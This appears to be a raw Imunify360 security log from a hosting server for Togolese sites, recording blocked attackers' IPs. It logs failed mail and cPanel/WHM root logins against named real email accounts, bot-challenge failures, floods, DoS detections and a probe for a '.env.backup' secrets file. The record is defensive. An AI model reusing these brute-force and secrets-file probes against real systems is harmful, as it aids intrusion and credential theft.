abuser: 178.178.194.134
country_id: 2017370
description:
Jun 28 01:16:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.90.126
country_id: 1694008
description:
2026-06-28 01:17:56 dovecot_plain authenticator failed for H=(localhost) [120.29.90.126]:3589: 535 Incorrect authentication data (set_id=infos@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.29.90.126
country_id: 1694008
description:
Jun 28 01:17:54 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.29.90.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.244.133
country_id: 1643084
description:
Jun 28 01:19:10 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.244.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.195.249
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/product-category/boissons-2/?add-to-cart=9758||QS:add-to-cart=9758||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 2a01:4f8:c014:d0fc::1
country_id: 2921044
domain: tchambainvest.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:2a01:4f8:c014:d0fc::1||TA:2a01:4f8:c014:d0fc::1||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.145.164.82
country_id: 1814991
description:
2026-06-28 01:27:16 dovecot_login authenticator failed for H=([178.178.222.50]) [118.145.164.82]:34650: 535 Incorrect authentication data (set_id=contact@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.145.164.82
country_id: 1814991
description:
Jun 28 01:27:14 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.145.164.82 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [28/Jun/2026:01:28:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727382&pdata=http%253A%252F%252Fwellcity.tg%252F%253F__im-jpxrhzpw%253D6095742823740657093&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782610089 HTTP/1.1" 302 0 wellcity.tg "http://wellcity.tg/?__im-jpxrhzpw=6095742823740657093" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [28/Jun/2026:01:29:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 176.100.243.133
country_id: 2017370
description:
176.100.243.133 - - [28/Jun/2026:01:29:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 159 wellcity.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.100.243.133


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 176.100.243.133
country_id: 2017370
description:
176.100.243.133 - - [28/Jun/2026:01:33:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 159 wellcity.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.100.243.133


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [28/Jun/2026:01:34:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 46.101.70.221
country_id: 2921044
description:
46.101.70.221 - - [28/Jun/2026:01:34:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 159 wellcity.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:46.101.70.221


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 62.234.97.164
country_id: 1814991
description:
62.234.97.164 - - [28/Jun/2026:01:35:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9736811&pdata=https%253A%252F%252Fwebmail.otf-boutique.free.netmaster.tg%252F%253Flocale%253Dzh&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782610540 HTTP/2.0" 302 0 webmail.otf-boutique.free.netmaster.tg "https://webmail.otf-boutique.free.netmaster.tg/?locale=zh" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:62.234.97.164


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.216.211.66
country_id: 933860
description:
Jun 28 01:35:28 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.216.211.66 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 14.225.208.202
country_id: 1562822
description:
14.225.208.202 - - [28/Jun/2026:01:35:37 +0000] "HEAD /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18959916 HTTP/1.1" 404 0 wellcity.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.225.208.202


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 176.100.243.133
country_id: 2017370
description:
176.100.243.133 - - [28/Jun/2026:01:35:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18959916 HTTP/1.1" 404 159 wellcity.tg "-" "Go-http-client/1.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:176.100.243.133


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.141
country_id: 1835841
description:
Jun 28 01:36:45 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.141 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [28/Jun/2026:01:36:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=18959916 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 66.76.106.13
country_id: 6252001
description:
Jun 28 01:36:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 66.76.106.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 166.88.121.156
country_id: 6252001
description:
166.88.121.156 - - [28/Jun/2026:01:35:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:166.88.121.156


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.32.74.14
country_id: 3686110
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/sokode-la-foire-made-in-togo-celebre-les-talents-locaux/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 2a09:bac1:1e20:8::3a1:31
country_id: 2921044
domain: www.cinema.free.netmaster.tg.154-70-82-246.cpanel.site
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:2a09:bac1:1e20:8::3a1:31||TA:2a09:bac1:1e20:8::3a1:31||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.141
country_id: 1835841
description:
Jun 28 01:37:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.141 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 01:37:19 +0000] info [cpaneld] 36.77.232.64 - ayhhhyhk "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.32.74.14
country_id: 3686110
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/sokode-la-foire-made-in-togo-celebre-les-talents-locaux/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.103.53.44
country_id: 1269750
description:
Jun 28 01:38:22 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.103.53.44 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 2a09:bac1:1e20:8::3a0:1a
country_id: 2921044
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.21||T:APACHE||RA:2a09:bac1:1e20:8::3a0:1a||TA:2a09:bac1:1e20:8::3a0:1a||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 01:38:05 +0000] info [cpaneld] 36.77.232.64 - websitecpanel "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.197.7
country_id: 2921044
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cinemafreenetmas||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.188.95.202
country_id: 1814991
description:
Jun 28 01:39:00 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.188.95.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 01:39:04 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 147.185.226.21
country_id: 1861060
description:
147.185.226.21 - - [28/Jun/2026:01:38:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=15832786 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:147.185.226.21


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.67.244.133
country_id: 1643084
description:
Jun 28 01:40:39 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.67.244.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.50.240.92
country_id: 2017370
description:
2026-06-28 01:41:19 dovecot_login authenticator failed for H=host-46-50-240-92.bbcustomer.zsttk.net (bb118-200-42-112.singnet.com.sg) [46.50.240.92]:59040: 535 Incorrect authentication data (set_id=gestion-cime2@otr.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.50.240.92
country_id: 2017370
description:
Jun 28 01:41:17 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.50.240.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.81
country_id: 3469034
description:
Jun 28 01:42:11 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.81 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.0.142.95
country_id: 3865483
description:
Jun 28 01:43:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.0.142.95 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.157.52.37
country_id: 2921044
domain: matosshop.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=1397||QS:add-to-cart=1397||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.102.250.84
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/audios HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.230.66.189
country_id: 1814991
description:
Jun 28 01:49:57 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.230.66.189 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 86.53.163.167
country_id: 2635167
description:
Jun 28 01:50:04 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 86.53.163.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 86.53.163.167
country_id: 2635167
description:
2026-06-28 01:50:06 dovecot_plain authenticator failed for H=(it5p36fkpbei9ez95kon) [86.53.163.167]:31968: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.230.66.189
country_id: 1814991
description:
2026-06-28 01:49:59 dovecot_login authenticator failed for H=([210.90.216.105]) [116.230.66.189]:57734: 535 Incorrect authentication data (set_id=dbanamale@otr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.24.142
country_id: 3658394
domain: derou.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/derou.tg/en HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-28 01:54:40 +0000] info [cpaneld] 188.166.248.160 - yvwaocrr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user yvwaocrr (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.40.182
country_id: 1149361
description:
Jun 28 01:55:08 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.40.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.87
country_id: 798544
description:
Jun 28 01:55:46 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.40.182
country_id: 1149361
description:
2026-06-28 01:55:10 dovecot_login authenticator failed for H=([189.57.218.139]) [149.54.40.182]:51234: 535 Incorrect authentication data (set_id=webmaster@anrtogo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.219.98.87
country_id: 798544
description:
Jun 28 01:55:59 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.219.98.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.51.209
country_id: 953987
description:
Jun 28 01:57:29 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.51.209 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 142.154.151.47
country_id: 6252001
description:
2026-06-28 01:58:54 dovecot_plain authenticator failed for H=(localhost) [142.154.151.47]:62315: 535 Incorrect authentication data (set_id=belmonde.zossou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.95.38.14
country_id: 2017370
description:
Jun 28 02:00:18 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.95.38.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.95.38.14
country_id: 2017370
description:
2026-06-28 02:00:20 dovecot_login authenticator failed for H=host-80-95-38-14.dsl.sura.ru ([142.54.228.195]) [80.95.38.14]:44048: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 02:02:12 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 119.224.142.132
country_id: 2186224
description:
Denial of Service (DoS) attack was discovered from 119.224.142.132: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 28 02:04:49 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.11.243
country_id: 2300660
description:
Jun 28 02:05:31 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.11.243 has been locked due to Imunify RBL


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 119.224.142.138
country_id: 2186224
description:
Denial of Service (DoS) attack was discovered from 119.224.142.138: 80 connections per 30 seconds to 53 port.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 160.187.191.111
country_id: 1210997
description:
160.187.191.111 - - [28/Jun/2026:02:07:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10118346&pdata=https%253A%252F%252Fcfpj.tg%252Feedo-366067betid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782612472 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/eedo-366067betid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:160.187.191.111


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-06-28 02:12:10 dovecot_login authenticator failed for H=([121.187.214.107]) [186.215.245.175]:57648: 535 Incorrect authentication data (set_id=for8d4baaaaaa@afrique-distribution.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.215.245.175
country_id: 3469034
description:
Jun 28 02:12:08 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.215.245.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-28 02:20:09 +0000] info [cpaneld] 188.166.248.160 - heroes "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user heroes (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.24
country_id: 732800
description:
Jun 28 02:21:52 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.24 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.100.156.38
country_id: 1605651
description:
Jun 28 02:22:41 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.100.156.38 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-06-28 02:22:43 dovecot_login authenticator failed for H=mail.sotus.co.th (15-50-166-83.dyn.estpak.ee) [171.100.156.38]:59535: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.215.245.175
country_id: 3469034
description:
2026-06-28 02:23:03 dovecot_login authenticator failed for H=([79.136.8.69]) [186.215.245.175]:36686: 535 Incorrect authentication data (set_id=contact)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.215.88.36
country_id: 1643084
description:
Jun 28 02:25:18 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.215.88.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.136
country_id: 3469034
description:
Jun 28 02:25:47 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.92.247.136
country_id: 3469034
description:
Jun 28 02:25:55 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.92.247.136 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.112.179.35
country_id: 3469034
description:
Jun 28 02:28:09 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.112.179.35 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.181.34
country_id: 1269750
description:
Jun 28 02:29:33 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.181.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.34
country_id: 1269750
description:
2026-06-28 02:29:35 dovecot_plain authenticator failed for H=(midecting) [182.95.181.34]:53360: 535 Incorrect authentication data (set_id=admin@white-ways.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 36.77.232.64
country_id: 1643084
description:
[2026-06-28 02:30:37 +0000] info [cpaneld] 36.77.232.64 - crepsad "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 45.132.195.147
country_id: 2960313
description:
45.132.195.147 - - [28/Jun/2026:02:34:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:45.132.195.147


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [28/Jun/2026:02:34:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379612&pdata=uemafblefeau6yj5jhw8adghu-cvvd4z7yte_z62izsfq3e1aavzwtj_6agyestbiqkppkco9bcn7vyi8noxmq2vg7rtrgn1-6hjpoo95bpcdvqanujdojglifnliiqovs3ktrx2vnvjxb8u-tcnm3xzgetfammmvuvp2n6aht8cdgme2it8xpagttwtknpausk95mzx&id=7fa3b767c460b54a2be4d49030b349c7 HTTP/1.1" 404 561 wellcity.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [28/Jun/2026:02:35:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393493&pdata=http%253A%252F%252Fwellcity.tg%252F%253F__im-snjsimis%253D14332673114274570874&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782614134 HTTP/1.1" 302 0 wellcity.tg "http://wellcity.tg/?__im-snjsimis=14332673114274570874" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.234.161.78
country_id: 3469034
description:
Jun 28 02:36:36 ns5 auth[58168]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.234.161.78 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-28 02:35:57 +0000] info [whostmgrd] 95.214.54.159 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.214.54.159
country_id: 798544
description:
[2026-06-28 02:35:58 +0000] info [whostmgrd] 95.214.54.159 - root "GET /cpsess8891588515/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.57
country_id: 6252001
description:
205.169.39.57 - - [28/Jun/2026:02:37:38 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13092252&pdata=http%253A%252F%252Fwellcity.tg%252F%253F__im-jpxrhzpw%253D6095742823740657093&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782614252 HTTP/1.1" 302 0 wellcity.tg "http://wellcity.tg/?__im-jpxrhzpw=6095742823740657093" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.57


plugin: ossec
